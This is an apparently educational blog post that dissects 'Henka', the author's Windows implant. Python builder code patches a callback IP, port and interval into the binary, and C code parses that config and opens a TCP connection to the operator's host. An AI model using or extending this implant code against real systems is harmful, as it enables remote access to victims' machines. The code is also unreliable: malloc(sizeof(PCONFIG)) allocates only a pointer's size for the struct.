nuker

My cybersecurity journey!

Henka In-depth! Part 2


Previous Post

In the last post we went over the basic functionality of Henka now we are going to pick it apart and understand what it really is doing.

builder.py

builder.py is the main file for taking in the cli arguments, and forming them into a config to be placed inside of the binary lets take a look

The first config creation mode is Quick this is just placing a plain config within the buffer


class Build(ABC):

	def __init__(self, ip: str, port: int, interval: int):

		self.ip = ip
		self.port = port
		self.interval = interval

	@abstractmethod
	def patch(self):
		pass

class Quick(Build):

	# Plain jane

	def patch(self):

		if self.interval == None:
			self.interval = 5

		print(dim + gre + f"[#] Mode: Quick")
		print(dim + gre + f"[#] Config Address: {self.ip}")
		print(dim + gre + f"[#] Config Port: {self.port}")
		print(dim + gre + f"[#] Config Interval {self.interval}")

		config = b""
		config += self.ip.encode("UTF-8")
		config += b"-"
		config += str(self.port).encode("UTF-8")
		config += b"-"
		config += str(self.interval).encode("UTF-8")
		config += b"-"

		with open("bundle/win/bin/Henka.exe", "r+b") as Henka:

			# Get offset to config

			bHenka = Henka.read()
			offset = bHenka.find(b"HENKA-") + 6

			# Write config

			Henka.seek(offset)
			Henka.write(config)

For newer python people I will break the code down

At the start of our patch function we check if there as a -c option supplied if not, we set a default which is 5 seconds

	if self.interval == None:
		self.interval = 5

Printing the values to the screen

	print(dim + gre + f"[#] Mode: Quick")
	print(dim + gre + f"[#] Config Address: {self.ip}")
	print(dim + gre + f"[#] Config Port: {self.port}")
	print(dim + gre + f"[#] Config Interval {self.interval}")

Next I start creating a config which is just a string of bytes in our case. Note how I am seperating each value of the config with “-“ this will become VERY important later as this is how we will parse our config

	config = b""
	config += self.ip.encode("UTF-8")
	config += b"-"
	config += str(self.port).encode("UTF-8")
	config += b"-"
	config += str(self.interval).encode("UTF-8")
	config += b"-"

The last thing is to place the formed config inside of the buffer


	with open("bundle/win/bin/Henka.exe", "r+b") as Henka:

			# Get offset to config

			bHenka = Henka.read()
			offset = bHenka.find(b"HENKA-") + 6

			# Write config

			Henka.seek(offset)
			Henka.write(config)

I am opening the Henka binary with open (literally haha) and reading the bytes with “.read()” with the bytes of the file stored in a variable we can use the “.find()” method to search for the start of our config “HENKA-“ once “.find()” has found the latter it will return an integer indicating how many bytes from the start of the file our config is it aka (the offset) once we have found the offset to the config buffer we add 6 to it because that is the length of “HENKA-“

We want our cursor to be HENKA-_ <——- Here

This is done with .seek()

In Python, seek() function is used to change the position of the File Handle to a given specific position. File handle is like a cursor, which defines from where the data has to be read or written in the file.

Henka.seek(offset)

The final thing to do is place the config in the buffer

Henka.write(config)

Bin again?

Now that we understand how our config is created and how it is placed inside of the binary. Let’s understand how the config is parsed and ultimately used to complete our goal.

Here is the code for parsing the config

#include "../inc/config.h"

/*
	(Mode 1) Default config creation
*/

void Make_config(PCONFIG Config, unsigned char *Buff) {

	unsigned char *Host;
	unsigned char *Port;
	unsigned char *Interval;

	strtok(Buff, "-");

	// Default

	Host = strtok(NULL, "-"); // Get to host
	Config->Host = Host;

	Port = strtok(NULL, "-"); // Get to port
	Config->Port = atoi(Port);

	Interval = strtok(NULL, "-"); // Get to callback
	Config->Interval = atoi(Interval);

}

Remember how we seperated (tokenized) our config values with “-“ ? We can use strtok() to tokenize (split) each value and populate our struct values.

Once the config is made we can access the values from our struct that we passed to Make_config and connect to the socket


    // Config creation

    PCONFIG Conf = (PCONFIG)malloc(sizeof(PCONFIG));

    Make_config(Conf, CBUFF);

    WSAStartup(MAKEWORD(2,2), &wsa);

    s = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    ZeroMemory(&addr, sizeof(addr));

    addr.sin_family = AF_INET;
    addr.sin_port = htons(Conf->Port);
    addr.sin_addr.s_addr = inet_addr(Conf->Host);

    int conn = connect(s, (struct sockaddr *)&addr, sizeof(addr));

You may also wonder why I am allocating memory (malloc()) for the struct and that is what we will get into next…

Next Post

In the next post I will be going over the development of